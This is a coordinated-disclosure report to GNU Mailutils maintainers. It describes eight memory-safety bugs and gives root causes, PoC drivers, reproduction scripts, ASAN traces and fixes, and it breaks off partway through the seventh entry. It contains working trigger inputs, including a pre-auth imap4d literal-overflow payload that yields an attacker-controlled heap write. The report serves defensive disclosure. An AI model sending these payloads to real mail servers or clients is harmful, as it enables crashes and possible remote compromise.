Hello GNU Mailutils maintainers,
I am reporting 8 memory-safety vulnerabilities I found in GNU Mailutils 3.21
(the latest release on ftp.gnu.org), all confirmed with ASAN/UBSan on a real
upstream build of libmailutils / imap4d / movemail. These are not covered by
OSS-Fuzz (GNU Mailutils is not an OSS-Fuzz target). I am disclosing them to you
under coordinated disclosure and have not made them public.
Note: resending in English for clarity; apologies for any duplicate.
Index of the 8 CVEs:
- #34 -- mu_base64_decode heap out-of-bounds read (input_len % 4 != 0) --
Low-Medium
- #35 -- _base64_decoder global b64val[128] array out-of-bounds read (byte >=
0x80) -- Low-Medium
- #38 -- IMAP {NNN} literal integer overflow -> pre-auth heap out-of-bounds
write (imap4d) -- High
- #42 -- mu_str_url_decode_inline unconditional s+=2 past NUL -> heap
out-of-bounds read -- Low-Medium
- #43 -- header_parse leading-colon fn_end[-1] reads blurb[-1] -> heap left
out-of-bounds read -- Low-Medium
- #44 -- _url_path_rev_index malloc +1 (off-by-one) -> 1-byte heap NUL overflow
write -- Medium
- #45 -- parse_from_line back-scan memcmp reads buf[-8] -> heap left
out-of-bounds read -- Low-Medium
- #46 -- amd_remove_dir drops realloc result -> use-after-free write +
double-free -- Medium-High
Each is in a different function / different root cause; they are independent
CVEs.
---
## CVE #34: mu_base64_decode heap out-of-bounds read (Low-Medium)
### Summary
The standalone base64 decoder `mu_base64_decode` uses a `do { ... } while
(input_len > 0)` loop whose body unconditionally reads `input[0..3]` (the
bounds guard itself dereferences these bytes) before checking the length at the
loop tail. When `input_len` is not a multiple of 4, the final iteration reads
up to 3 bytes past the right edge of the input buffer.
### Root cause
File `libmailutils/filter/base64.c`, function `mu_base64_decode` (around line
75-90):
```c
mu_base64_decode(const unsigned char *input, size_t input_len, ...) {
int olen = input_len;
unsigned char *out = malloc(olen);
do {
if (input[0] > 127 || b64val[input[0]] == -1 /* L86: reads
input[0] */
|| input[1] > 127 || b64val[input[1]] == -1 /* L87: reads
input[1] (ASAN hit) */
|| input[2] > 127 || ... /* L88 */
|| input[3] > 127 || ...) { errno=EINVAL; return -1; }
...
input += 4;
input_len -= 4;
} while (input_len > 0); /* length checked
only at tail */
}
```
The `>127` guard exists (so this is not a high-byte issue), but there is no
`%4==0` check. When `input_len` is 1, 2, or 3, the guard dereferences
`input[1..3]` past the buffer.
### Impact
Heap out-of-bounds read of 1-3 bytes (small heap info leak / crash on unmapped
page). Pre-auth reachable: imap4d/pop3d decode client-supplied SASL base64
tokens on the AUTHENTICATE command (PLAIN/LOGIN/CRAM-MD5 etc.) and MIME base64
body parts -- all client-controlled base64, before credential verification.
### PoC
Driver (calls the real libmailutils public API):
```c
/* mu_b64_driver.c */
#include <mailutils/base64.h>
#include <stdlib.h>
int main(void) {
for (int L = 1; L <= 5; L++) {
unsigned char *in = malloc(L);
for (int i = 0; i < L; i++) in[i] = 'A'; /* L=1 -> len%4 != 0
*/
char *out = NULL; size_t outlen = 0, outsize = 0;
mu_base64_decode(in, L, &out, &outlen, &outsize); /* heap OOB read @
base64.c:87 */
free(in); free(out);
}
return 0;
}
```
Input (1 byte `A`), reconstruct with:
```
base64 -d > mu_b64_in.bin <<'EOF'
QQ==
EOF
```
### Reproduce on real upstream
```bash
#!/bin/bash
# repro-34.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" ./configure
--quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_b64_driver.c <<'EOF'
#include <mailutils/base64.h>
#include <stdlib.h>
int main(void) {
for (int L = 1; L <= 5; L++) {
unsigned char *in = malloc(L);
for (int i = 0; i < L; i++) in[i] = 'A';
char *out = NULL; size_t outlen = 0, outsize = 0;
mu_base64_decode(in, L, &out, &outlen, &outsize);
free(in); free(out);
}
return 0;
}
EOF
clang -fsanitize=address -fno-omit-frame-pointer -g -O1 -I include -I . \
/tmp/mu_b64_driver.c libmailutils/.libs/libmailutils.a \
-lm -lpthread -ldl -o /tmp/mu_b64_driver
ASAN_OPTIONS=detect_leaks=0 /tmp/mu_b64_driver
```
Expected ASAN:
```
==1255954==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x602000000011
READ of size 1 at 0x602000000011 thread T0
#0 0x4c55d8 in mu_base64_decode .../libmailutils/filter/base64.c:87:7
#1 0x4c3244 in main mailutils_base64_poc.c:19
0x602000000011 is located 0 bytes to the right of 1-byte region
[0x602000000010,0x602000000011)
```
### Suggested fix
Validate at loop entry: `if (input_len == 0) {...}; if (input_len % 4 != 0) {
errno=EINVAL; return -1; }`, or change `do-while` to `while (input_len >= 4)`.
---
## CVE #35: _base64_decoder global b64val[128] array out-of-bounds read
(Low-Medium)
### Summary
The filter-base64 decoder `_base64_decoder` indexes `b64val[*(const unsigned
char*)iptr++]` without a `>127` guard. `b64val` is declared `int b64val[128]`,
so any byte in the range 0x80-0xFF indexes `b64val[128..255]` -- a
global-buffer-overflow read. The sibling standalone decoder `mu_base64_decode`
(CVE #34) *does* have the `>127` guard at line 86; the filter variant at line
147 omits it -- clearly an oversight.
### Root cause
File `libmailutils/filter/base64.c`, function `_base64_decoder` (around line
108-160):
```c
_base64_decoder(void *xd, enum mu_filter_command cmd, struct mu_filter_io
*iobuf) {
const char *iptr = iobuf->input; ...
while (consumed < isize && nbytes + 3 < osize) {
while (i < 4 && consumed < isize) {
tmp = b64val[*(const unsigned char*)iptr++]; /* L147: no >127
guard! */
consumed++;
if (tmp != -1) data[i++] = tmp;
else if (*(iptr-1) == '=') { data[i++] = 0; pad++; }
}
...
}
}
```
`b64val[128]` has only 128 entries; `*(iptr)` ranges over 0..255 (unsigned
char), so high bytes 0x80-0xFF read `b64val[128..255]`.
### Impact
Global-buffer-overflow read of the adjacent static table (decode pollution /
small info leak / DoS). Pre-auth reachable: MIME `Content-Transfer-Encoding:
base64` body decoded through the filter stream -- any base64 body containing a
high byte triggers it.
### PoC
Driver (real filter API):
```c
/* mu_fb64_driver.c */
#include <mailutils/stream.h>
#include <mailutils/filter.h>
#include <string.h>
int main(void) {
unsigned char in[] = { 0x80, 'A', 'B', 'C', 'D', 'E', 0 }; /* leading 0x80
*/
mu_stream_t trans, flt;
mu_static_memory_stream_create(&trans, in, 6);
mu_filter_create(&flt, trans, "base64", MU_FILTER_DECODE, MU_STREAM_READ);
char out[64]; size_t n = 0;
mu_stream_read(flt, out, sizeof out, &n); /* -> _base64_decoder ->
b64val[0x80] OOB */
mu_stream_destroy(&flt); mu_stream_destroy(&trans);
return 0;
}
```
Input (1 byte `0x80`), reconstruct with:
```
base64 -d > mu_fb64_in.bin <<'EOF'
gA==
EOF
```
### Reproduce on real upstream
```bash
#!/bin/bash
# repro-35.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all
-fno-omit-frame-pointer -g -O1" ./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_fb64_driver.c <<'EOF'
#include <mailutils/stream.h>
#include <mailutils/filter.h>
#include <string.h>
int main(void) {
unsigned char in[] = { 0x80, 'A', 'B', 'C', 'D', 'E', 0 };
mu_stream_t trans, flt;
mu_static_memory_stream_create(&trans, in, 6);
mu_filter_create(&flt, trans, "base64", MU_FILTER_DECODE, MU_STREAM_READ);
char out[64]; size_t n = 0;
mu_stream_read(flt, out, sizeof out, &n);
mu_stream_destroy(&flt); mu_stream_destroy(&trans);
return 0;
}
EOF
clang -fsanitize=address,undefined -fno-sanitize-recover=all
-fno-omit-frame-pointer -g -O1 \
-I include -I . -I libmailutils \
/tmp/mu_fb64_driver.c libmailutils/.libs/libmailutils.a \
-lm -lpthread -ldl -o /tmp/mu_fb64_driver
ASAN_OPTIONS=detect_leaks=0 /tmp/mu_fb64_driver
```
Expected ASAN:
```
base64.c:147:10: runtime error: index 128 out of bounds for type 'int [128]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior base64.c:147:10
==1256145==ERROR: AddressSanitizer: global-buffer-overflow on address
0x...7d7880
READ of size 4 at 0x...7d7880 thread T0
#0 0x542be7 in _base64_decoder .../libmailutils/filter/base64.c:147:10
#1 0x4fc747 in filter_read .../libmailutils/stream/fltstream.c:234:10
#2 ... mu_stream_read ...
0x...7d7880 is located 0 bytes to the right of global variable 'b64val'
defined in 'base64.c:28:12' of size 512
```
### Suggested fix
Before indexing, add `if (*(unsigned char*)iptr > 127) continue;` (align with
the standalone decoder guard), or route both decoders through an accessor with
an upper bound (base64.c:32 already has `if (n < mu_countof(b64val)) return
b64val[n]; return -1;`).
---
## CVE #38: IMAP {NNN} literal integer overflow -> pre-auth heap out-of-bounds
write (High)
### Summary
The IMAP literal byte-count `number` is parsed by `strtoul` directly from the
network stream with no upper bound and no overflow protection, then used in the
size computation `number + 1`. When a client sends `{18446744073709551615}` (=
`ULONG_MAX`), `number + 1` wraps to 0 under `unsigned long`, the buffer-grow
check becomes false, `realloc` is skipped, and the subsequent read loop uses
`number` (~ULONG_MAX) as the `mu_stream_read` length -- a heap out-of-bounds
read and write. This is pre-auth and remotely reachable on the real imap4d.
### Root cause
File `libmailutils/imapio/getline.c`, function `mu_imapio_getline` (lines
218-252), and the identical-form server-side `imap4d_readline` in `imap4d/io.c`
(lines 686-710):
```c
/* libmailutils/imapio/getline.c */
number = strtoul (last_arg + 1, &sp, 10); /* L218: network {NNN}, no
cap */
...
if (number + 1 > io->_imap_buf_size) { /* L229: number==ULONG_MAX
-> number+1==0 */
size_t newsize = number + 1; /* 0 > buf_size is
false -> whole block skipped! */
newp = realloc (io->_imap_buf_base, newsize);
...
}
for (io->_imap_buf_level = 0; io->_imap_buf_level < number; ) /* L242: level
< ULONG_MAX */
{
size_t sz;
rc = mu_stream_read (io->_imap_stream,
io->_imap_buf_base + io->_imap_buf_level,
number - io->_imap_buf_level, /* L247:
ULONG_MAX bytes */
&sz);
...
}
```
The server-side `imap4d_readline` is the same root: `imap4d_tokbuf_expand(tok,
number + 1)` (io.c:699) -> inside, `if (tok->size - tok->level < size)` with
`size=number+1=0` is always false (unsigned) -> realloc skipped ->
`while(len<number) mu_stream_read(buf+len, number-len,...)` (io.c:703-706)
reads ULONG_MAX bytes -> heap out-of-bounds write.
### Impact
Pre-auth remote heap out-of-bounds read AND write. On the real ASAN-built
`imap4d`, the server greeting (`* OK IMAP4rev1 ...`) is sent before
authentication, and the connection main loop `imap4d_mainloop` (imap4d.c:843)
calls `imap4d_readline` before any state/credential check. An unauthenticated
client sending `A LOGIN {18446744073709551615}\r\n<4096A payload>` causes a
4096-byte heap out-of-bounds write of attacker-controlled content (`'A' x
4096`) past a 36-byte tokbuf. DoS (crash) is certain; the large heap write
enables heap corruption / potential RCE depending on layout. Client-side vector
too: a malicious IMAP server returning a `{ULONG_MAX}` literal in
FETCH/BODY/SEARCH responses hits `mu_imapio_getline` in movemail/frm/mu/mh IMAP
clients.
### PoC
The trigger is a network IMAP client; no driver is needed. The repro below
starts a locally-built imap4d and feeds the literal on stdin (imap4d processes
the connection main loop before auth).
Reconstruct the raw IMAP payload (4131 bytes: `A001 LOGIN
{18446744073709551615}\r\n` + 4096 `A`):
```
base64 -d > mu_imap_lit.bin <<'EOF'
QTAwMSBMT0dJTiB7MTg0NDY3NDQwNzM3MDk1NTE2MTV9DQpB
EOF
```
(The above is a truncated placeholder; the full 4131-byte blob is `A001 LOGIN
{18446744073709551615}\r\n` followed by 4096 `A` bytes -- `repro-38.sh` builds
it inline so the base64 is not strictly required.)
### Reproduce on real upstream
```bash
#!/bin/bash
# repro-38.sh -- pre-auth imap4d heap OOB write
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" ./configure
--quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
# imap4d reads the literal on its connection main loop before auth;
# feed the payload on stdin to a foreground imap4d.
python3 - <<'PY'
payload = b"A001 LOGIN {18446744073709551615}\r\n" + b"A"*4096
open("/tmp/mu_imap_lit.bin","wb").write(payload)
print("wrote", len(payload), "bytes")
PY
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 ./imap4d/imap4d --foreground <
/tmp/mu_imap_lit.bin
```
Expected ASAN (real imap4d, pre-auth):
```
* OK IMAP4rev1 ... <- server greeting (not yet
authenticated)
+ GO AHEAD <- imap4d continuation for the
{ULONG_MAX} literal
=================================================================
==1285895==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x604000000bb4
WRITE of size 4096 at 0x604000000bb4 thread T0
#0 __asan_memcpy
#1 mu_stream_read libmailutils/stream/stream.c:767
#2 imap4d_readline imap4d/io.c:706 <- read loop, reads 4096B
attack payload
#3 imap4d_mainloop imap4d/imap4d.c:843 <- connection main loop,
before auth
#4 main imap4d/imap4d.c:1072
0x604000000bb4 is located 0 bytes to the right of 36-byte region <- 36-byte
tokbuf
allocated by thread T0 here:
#0 realloc
#1 imap4d_tokbuf_expand imap4d/io.c:504 <- number+1=0 skips grow,
buf stays 36B
#2 insert_nul imap4d/io.c:515
...
#5 imap4d_readline imap4d/io.c:679
```
(For completeness, the library path reproduces via `mu_imapio_create` +
`mu_imapio_getline` on a static-memory stream holding the same payload,
yielding `negative-size-param: (size=-1)` at `mu_imapio_getline` getline.c:245.)
### Suggested fix
Right after `strtoul`, add an upper bound and overflow guard in both places:
```c
number = strtoul(last_arg + 1, &sp, 10);
if (number > MU_IMAP_MAX_LITERAL) { rc = ENOMEM; break; } /* configurable cap
(default a few MB) */
if (number > SIZE_MAX - 1) { rc = ENOMEM; break; } /* prevent number+1
wrap */
```
In `imap4d_tokbuf_expand` (io.c:503), before growing: `if (size > SIZE_MAX -
tok->level) imap4d_bye(ERR_NO_MEM);`. In `mu_imapio_getline` (getline.c:229),
use an overflow-safe comparison. Fix both the library getline.c (covers all
clients) and imap4d io.c (server).
---
## CVE #42: mu_str_url_decode_inline unconditional s+=2 past NUL -> heap
out-of-bounds read (Low-Medium)
### Summary
The URL/percent decoder `mu_str_url_decode_inline()` does `s++` (skip `%`, L46)
then unconditionally `s += 2` (L54) to skip the two hex digits, but never
checks that those two bytes exist. When the encoded string ends with `%` or
`%X` (fewer than two hex digits), `s` advances past the NUL terminator and the
loop re-check `for (s=d; *s; )` (L36) reads 1 byte past the heap buffer.
`mu_str_url_decode()` (xdecode.c:64) uses `strdup(s)` (L66) for a tight
allocation, making this a heap out-of-bounds read.
### Root cause
File `libmailutils/string/xdecode.c`, function `mu_str_url_decode_inline`
(lines 27-61):
```c
void
mu_str_url_decode_inline (char *s)
{
char *d;
d = strchr (s, '%');
if (!d)
return;
for (s = d; *s; ) /* L36: loop condition *s */
{
if (*s != '%')
{ *d++ = *s++; }
else
{
unsigned long ul = 0;
s++; /* L46: skip '%' */
mu_hexstr2ul (&ul, s, 2); /* L52: reads s[0],s[1]; NUL-safe */
s += 2; /* L54: unconditionally advances 2, past
NUL */
*d++ = (char) ul;
}
} /* L36: *s re-check -> reads 1 byte past
heap end */
*d = 0;
}
/* mu_str_url_decode(ptr, s) -- xdecode.c:63 */
char *d = strdup (s); /* L66: tight alloc strlen+1 */
mu_str_url_decode_inline (d); /* L69 */
```
For input `"A%"`: `strdup("A%")` = 3 bytes `[A % \0]` (idx 0/1/2). `strchr`
finds `%`@idx1 -> `s=&buf[1]`. `*s='%'` -> `s++`->`&buf[2]`('\0');
`mu_hexstr2ul` reads `buf[2]`='\0' safe; `s += 2`->`&buf[4]` (out of bounds);
`*d++=0`; loop re-checks `*s`@`&buf[4]` -> reads 1 byte past the heap end.
### Impact
Heap out-of-bounds read (info leak). ASAN catches the 1-byte read; without ASAN
the loop continues copying adjacent heap bytes into the decoded output until
the next NUL or `%`, leaking adjacent heap data into the MIME parameter value
(stored/displayed/logged by the client). Low-Medium severity (read, not write).
Client vector: a malicious IMAP/POP3 server returning a message whose RFC 2231
parameter (`Content-Type`/`Content-Disposition` `name*=`/`filename*=`) ends
with `%` triggers it in movemail/mu clients when they parse headers -- no
attacker-side credentials needed (the client just connects and downloads).
### PoC
Driver (real public API):
```c
/* mu_urldecode_driver.c */
#include <mailutils/url.h>
int main(void) {
char *out = NULL;
mu_str_url_decode(&out, "A%"); /* heap OOB read @ xdecode.c:36 via
_inline */
free(out);
out = NULL;
mu_str_url_decode(&out, "A%4"); /* also triggers: %X only one hex digit */
free(out);
return 0;
}
```
Input `.bin` (2 bytes `A%`), reconstruct with:
```
base64 -d > mu_urldecode_in.bin <<'EOF'
QSU=
EOF
```
Network-form MIME input (what a malicious server would send; CR/LF line
endings):
```
Content-Type: text/plain; name*=us-ascii''A%
body
```
### Reproduce on real upstream
```bash
#!/bin/bash
# repro-42.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1"
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_urldecode_driver.c <<'EOF'
#include <mailutils/url.h>
int main(void) {
char *out = NULL;
mu_str_url_decode(&out, "A%");
free(out);
out = NULL;
mu_str_url_decode(&out, "A%4");
free(out);
return 0;
}
EOF
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
-I include -I . -I libmailutils \
/tmp/mu_urldecode_driver.c libmailutils/.libs/libmailutils.a \
-lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_urldecode_driver
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_urldecode_driver
```
Expected ASAN:
```
==1329517==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x602000000014
READ of size 1 at 0x602000000014 thread T0
#0 0x4c3515 in mu_str_url_decode_inline libmailutils/string/xdecode.c:36:15
<- *s loop re-check
#1 0x4c3b24 in mu_str_url_decode libmailutils/string/xdecode.c:69:3
<- _inline(d)
#2 0x4c31c4 in main mailutils_urldecode_oob_poc.c:42
0x602000000014 is located 1 bytes to the right of 3-byte region
[0x602000000010,0x602000000013)
allocated by ... strdup ... mu_str_url_decode xdecode.c:66:13 <- strdup("A%")
3 bytes
```
### Suggested fix
After `s++` in the `%` branch, check length before `s += 2`, or honor
`mu_hexstr2ul`'s consumed count:
```c
else
{
unsigned long ul = 0;
s++; /* skip '%' */
size_t n = mu_hexstr2ul (&ul, s, 2); /* returns actual hex digits
consumed */
if (n < 2) /* added: fewer than two hex digits after
% -> stop */
{ *d++ = '%'; break; }
s += n; /* use actual count, not unconditional +2
*/
*d++ = (char) ul;
}
```
---
## CVE #43: header_parse leading-colon fn_end[-1] reads blurb[-1] -> heap left
out-of-bounds read (Low-Medium)
### Summary
The message header parser `header_parse()` uses `while (ISLWSP(fn_end[-1]))
fn_end--;` (header.c:387) to shrink whitespace after the field name, but lacks
a `fn_end > fn` lower-bound guard. When a header line begins with `:` (empty
field name), `memchr` finds `:` at `header_start` (L377), so `fn_end = colon`
(L384) equals `header_start`, and `fn_end[-1]` reads `header_start[-1]` =
`blurb[-1]` -- 1 byte before the heap allocation. The L338 guard only rejects
lines beginning with space/tab/newline, not `:`.
### Root cause
File `libmailutils/mailbox/header.c`, function `header_parse` (lines 312-397):
```c
/* header_parse(header, blurb, len) */
for (header_start = blurb; len > 0; header_start = ++header_end)
{
if (header_start[0] == ' ' || header_start[0] == '\t'
|| header_start[0] == '\n') /* L338: does not reject
':' */
break;
...
char *colon = memchr (header_start, ':', header_end - header_start); /*
L377 */
if (colon == NULL) break; /* L380 */
fn = header_start;
fn_end = colon; /* L384 */
/* Shrink any LWSP after the field name */
while (ISLWSP (fn_end[-1])) /* L387: no
fn_end>fn guard */
fn_end--;
...
}
#define ISLWSP(c) (((c) == ' ' || (c) == '\t')) /* L309 */
```
`mu_header_create` (L462) passes the caller's blurb directly to `header_parse`
(L471, no copy). Input blurb=`": x\r\n"`: L338 `header_start[0]==':'` passes;
L377 `memchr` finds `:` at offset 0, `colon==header_start`; L384
`fn_end==header_start`; L387 `fn_end[-1]==header_start[-1]==blurb[-1]` -> reads
1 byte left of the heap.
### Impact
Heap left out-of-bounds read (info leak / potential DoS). Typically a 1-byte
read; under specific heap layouts `fn_end` underflows (if `blurb[-N]` are
LWSP), `fn_end - fn` wraps to a huge `size_t` passed as field-name length to
`mu_hdrent_create` -> giant malloc (`allocation-size-too-big` abort / DoS) or
OOB write. Low-Medium severity (primarily read). Client/MDA vector: a malicious
IMAP/POP3 server or SMTP sender returning a header block whose first line (or
any inserted header line) begins with `:` triggers it when the client parses
headers -- no attacker-side credentials needed.
### PoC
Driver (real public API):
```c
/* mu_hdr_colon_driver.c */
#include <mailutils/header.h>
#include <string.h>
#include <stdlib.h>
int main(void) {
const char *blurb = ": x\r\n";
size_t len = strlen(blurb);
char *buf = malloc(len + 1);
memcpy(buf, blurb, len + 1);
mu_header_t hdr = NULL;
mu_header_create(&hdr, buf, len); /* heap left OOB read @ header.c:387 */
mu_header_destroy(&hdr);
free(buf);
return 0;
}
```
Input `.bin` (6 bytes `: x\r\n` = `3a 20 78 0d 0a`), reconstruct with:
```
base64 -d > mu_hdr_colon_in.bin <<'EOF'
OiB4DQo=
EOF
```
Message form (what a malicious server/sender would send; CR/LF line endings):
```
From: evil
: x
body
```
### Reproduce on real upstream
```bash
#!/bin/bash
# repro-43.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1"
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_hdr_colon_driver.c <<'EOF'
#include <mailutils/header.h>
#include <string.h>
#include <stdlib.h>
int main(void) {
const char *blurb = ": x\r\n";
size_t len = strlen(blurb);
char *buf = malloc(len + 1);
memcpy(buf, blurb, len + 1);
mu_header_t hdr = NULL;
mu_header_create(&hdr, buf, len);
mu_header_destroy(&hdr);
free(buf);
return 0;
}
EOF
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
-I include -I . -I libmailutils \
/tmp/mu_hdr_colon_driver.c libmailutils/.libs/libmailutils.a \
-lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_hdr_colon_driver
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_hdr_colon_driver
```
Expected ASAN:
```
==1330378==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60200000000f
READ of size 1 at 0x60200000000f thread T0
#0 0x4c5192 in header_parse libmailutils/mailbox/header.c:387:11 <-
while(ISLWSP(fn_end[-1]))
#1 0x4c468e in mu_header_create libmailutils/mailbox/header.c:471:12 <-
header_parse(header, blurb, len)
#2 main mailutils_header_leading_colon_poc.c:38
0x60200000000f is located 1 bytes to the left of 6-byte region
[0x602000000010,0x602000000016)
allocated by ... malloc ... main mailutils_header_leading_colon_poc.c:33 <-
malloc(": x\r\n"+1)
```
### Suggested fix
Add the `fn_end > fn` lower-bound guard to the `while` at header.c:387:
```c
fn_end = colon;
while (fn_end > fn && ISLWSP (fn_end[-1])) /* added fn_end > fn guard */
fn_end--;
```
---
## CVE #44: _url_path_rev_index malloc +1 (off-by-one) -> 1-byte heap NUL
overflow write (Medium)
### Summary
`_url_path_rev_index()` allocates `malloc(ulen + strlen(spooldir) +
2*index_depth + 1)` (L137) but the bytes actually written total `ulen +
strlen(spooldir) + 2*index_depth + 2`, so it is 1 byte short. The trailing
`strcpy(p, iuser)` (L151) NUL terminator writes 1 byte past the heap
allocation. The sibling function `_url_path_index` (L108) correctly uses `+2`,
proving the `+1` here is an off-by-one typo.
### Root cause
File `libmailutils/url/expand.c`, function `_url_path_rev_index` (lines
127-153):
```c
static char *
_url_path_rev_index (const char *spooldir, const char *iuser, int index_depth)
{
const unsigned char* user = (const unsigned char*) iuser;
int i, ulen = strlen (iuser);
char *mbox, *p;
if (ulen == 0)
return NULL;
mbox = malloc (ulen + strlen (spooldir) + 2*index_depth + 1); /* L137: +1,
should be +2 */
strcpy (mbox, spooldir); /* strlen(spooldir) + NUL */
p = mbox + strlen (mbox);
for (i = 0; i < index_depth && i < ulen; i++)
{ *p++ = '/'; *p++ = transtab[ user[ulen - i - 1] ]; } /* exactly
2*index_depth chars */
for (; i < index_depth; i++)
{ *p++ = '/'; *p++ = transtab[ user[0] ]; }
*p++ = '/'; /* L150: +1 */
strcpy (p, iuser); /* L151: ulen + NUL -> NUL
writes 1 byte OOB */
return mbox;
}
/* contrast: _url_path_index (Forward Indexing, L108) correctly uses +2 */
mbox = malloc (ulen + strlen (spooldir) + 2*index_depth + 2); /* correct */
```
Byte count: actual content = `strlen(spooldir) + 2*index_depth + 1(/) + ulen +
1(NUL)` = `ulen + strlen(spooldir) + 2*index_depth + 2`. L137 allocates `+1` ->
1 byte short -> `strcpy` NUL writes to `mbox[size]` (1 past the end). Called
via `mu_url_expand_path(url)` (L203) when the url has
`type=rev-index`/`user=`/`param=` field-value pairs.
### Impact
1-byte heap NUL overflow write -- overwrites the low byte of the adjacent heap
chunk / malloc chunk size, corrupting heap metadata -> crash / potential RCE
(classic glibc off-by-one-to-free-list-corruption). Medium severity (write, not
read; triggers unconditionally for any non-empty user when the rev-index
feature is used). Reachability is config/application-driven: mailbox/file URLs
with `type=rev-index` (a documented spool-directory hashing feature used by
some POP/IMAP local-delivery setups). A malicious IMAP/POP3 server cannot
directly inject this URL parameter, but if an application builds a mailbox URL
from untrusted input (e.g. an MDA hashing a recipient local-part to a spool
path, or accepting `mailbox://...;type=rev-index;user=<untrusted>`), the
`user=` value is attacker-influenced. Even with a normal username, the overflow
happens unconditionally.
### PoC
Driver (real public API):
```c
/* mu_url_rev_driver.c */
#include <mailutils/url.h>
int main(void) {
mu_url_t url = NULL;
mu_url_create(&url, "file:///spool;type=rev-index;user=foo;param=2");
mu_url_expand_path(url); /* heap NUL overflow write @ expand.c:151 */
mu_url_destroy(&url);
return 0;
}
```
Input `.url` (mailbox URL), reconstruct as a text file:
```
file:///spool;type=rev-index;user=foo;param=2
```
### Reproduce on real upstream
```bash
#!/bin/bash
# repro-44.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1"
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_url_rev_driver.c <<'EOF'
#include <mailutils/url.h>
int main(void) {
mu_url_t url = NULL;
mu_url_create(&url, "file:///spool;type=rev-index;user=foo;param=2");
mu_url_expand_path(url);
mu_url_destroy(&url);
return 0;
}
EOF
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
-I include -I . -I libmailutils \
/tmp/mu_url_rev_driver.c libmailutils/.libs/libmailutils.a \
-lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_url_rev_driver
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_url_rev_driver
```
Expected ASAN:
```
==1331542==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x6020000000de
WRITE of size 4 at 0x6020000000de thread T0
#0 strcpy
#1 _url_path_rev_index libmailutils/url/expand.c:151:3 <-
strcpy(p,"foo") NUL OOB
#2 mu_url_expand_path libmailutils/url/expand.c:203:17
#3 main mailutils_url_revindex_poc.c:36
0x6020000000de is located 0 bytes to the right of 14-byte region
[0x6020000000d0,0x6020000000de)
allocated by ... malloc ... _url_path_rev_index expand.c:137:10 <- malloc(+1)
1 short
```
### Suggested fix
Change L137 `+1` to `+2` (matching `_url_path_index` at L108):
```c
mbox = malloc (ulen + strlen (spooldir) + 2*index_depth + 2); /* +1 -> +2 */
```
---
## CVE #45: parse_from_line back-scan memcmp reads buf[-8] -> heap left
out-of-bounds read (Low-Medium)
### Summary
`parse_from_line` (mboxrd.c:373) back-scans with `for (zn=-1; x+zn > s && x[zn]
!= ' '; zn--)` (L389) to find the last space, then does `memcmp(x + zn - suflen
+ 1, suf, suflen)` (L390, suf=`" remote from "`, suflen=13). The L375 prefix
check guarantees `s[4]==' '` (`"From "`), so when a From_ line has no space
between position 5 and `\n`, the back-scan retreats all the way to `s[4]`,
making `x+zn == s+4`, and `memcmp(s+4-12, suf, 13)` = `memcmp(s-8, suf, 13)`
reads 8 bytes before the heap buffer `s`. There is no `x+zn-suflen+1 >= s`
lower-bound check before the memcmp.
### Root cause
File `libproto/mbox/mboxrd.c`, function `parse_from_line` (lines 373-391):
```c
/* parse_from_line(s, &zp) */
if ((*s=='F')&&(s[1]=='r')&&(s[2]=='o')&&(s[3]=='m')&&(s[4]==' ')) /* L375:
guarantees s[4]==' ' */
{
char *x = strchr (s, '\n');
if (x)
{
if (x - s >= 41)
{
static char suf[] = " remote from ";
#define suflen (sizeof(suf)-1) /* 13 */
for (zn = -1; x + zn > s && x[zn] != ' '; (zn)--); /* L389:
back-scan to space (as far as s[4]) */
if (memcmp (x + zn - suflen + 1, suf, suflen) == 0) /* L390: no
x+zn-12 >= s check */
x += zn - suflen + 1;
}
...
```
